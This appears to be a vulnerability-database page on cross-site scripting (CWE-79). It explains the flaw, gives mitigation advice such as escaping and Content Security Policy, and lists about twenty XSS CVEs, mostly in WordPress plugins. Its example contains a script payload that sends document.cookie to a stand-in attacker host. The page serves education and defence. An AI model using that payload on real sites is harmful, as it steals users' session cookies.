Fallos del tipo CWE-79

30.305 resultados

Injeção de Script entre Sites (XSS)

Ocorre quando uma aplicação web insere dados não validados ou não escapados diretamente em páginas HTML, permitindo que um atacante injete código JavaScript malicioso. Esse script é executado no navegador da vítima, roubando cookies, tokens de autenticação ou realizando ações em nome do usuário.

Ejemplo

Um site de comentários que exibe a entrada do usuário sem sanitização: se alguém escreve <script>fetch('http://atacante.com/?cookie='+document.cookie)</script> como comentário, o navegador de quem visualiza executa o script e envia seus cookies para o atacante.

Cómo mitigar

Sempre escapar (ou codificar em HTML) dados vindos do usuário antes de renderizar: use funções como htmlspecialchars() em PHP, textContent ao invés de innerHTML em JavaScript, ou use templates que escapam por padrão (como Jinja2, Vue com v-text). Implemente Content Security Policy (CSP) como camada adicional de defesa.

CVE-2025-8566MEDIUMGutenBee – Gutenberg Blocks <= 2.18.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2026-113787MEDIUModf-kit: HTML injection leading to XSS in odtToHtml() via unescaped style attribute valuesEPSS 0.2%CVE-2025-8150MEDIUMEvents Addon for Elementor <= 2.2.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Typewriter and Countdown WidgetsEPSS 0.2%CVE-2025-8608MEDIUMMihdan: Elementor Yandex Maps <= 1.6.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via Marker PinsEPSS 0.2%CVE-2025-13448MEDIUMCSSIgniter Shortcodes <= 2.4.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'element' Shortcode AttributeEPSS 0.2%CVE-2025-6462MEDIUMEZ SQL Reports Shortcode Widget and DB Backup <= 5.25.11 - Authenticated (Contributor+) Stored Cross-Site Scripting via SQLREPORT ShortcodeEPSS 0.2%CVE-2024-13456MEDIUMEasy Quiz Maker <= 2.0 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-4585MEDIUMIRM Newsroom <= 1.2.19 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'irmflat' ShortcodeEPSS 0.2%CVE-2025-49048MEDIUMWordPress Inspectlet – User Session Recording and Heatmaps plugin <= 2.0 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2024-30114LOWHCL Leap is affected by a cross-site scripting (XSS) vulnerabilityEPSS 0.2%CVE-2025-8603MEDIUMUnlimited Elements For Elementor <= 1.5.148 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-9378MEDIUMVayu Blocks <= 1.3.9 - Authenticated (Contributor+) Stored Cross-Site Scripting via Multiple Block AttributesEPSS 0.2%CVE-2024-13701MEDIUMLiveticker (by stklcode) <= 1.2.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2024-13851MEDIUMModal Portfolio <= 1.7.4.2 - Authenticated (Administrator+) Stored Cross-Site ScriptingEPSS 0.2%CVE-2025-15505MEDIUMLuxul XWR-600 Web Administration cross site scriptingEPSS 0.2%CVE-2026-27126MEDIUMCraft CMS has Stored XSS in Table Field via "HTML" Column TypeEPSS 0.2%CVE-2024-56256MEDIUMWordPress Embed PDF Viewer plugin <= 2.3.1 - Cross Site Scripting (XSS) vulnerabilityEPSS 0.2%CVE-2026-1915MEDIUMSimple Plyr <= 0.0.1 - Authenticated (Contributor+) Stored Cross-Site Scripting via 'poster' Shortcode AttributeEPSS 0.2%CVE-2025-6575MEDIUMXSS in Dolusoft's OmaspotEPSS 0.2%CVE-2024-13588MEDIUMSimplebooklet PDF Viewer and Embedder <= 1.1.2 - Authenticated (Contributor+) Stored Cross-Site ScriptingEPSS 0.2%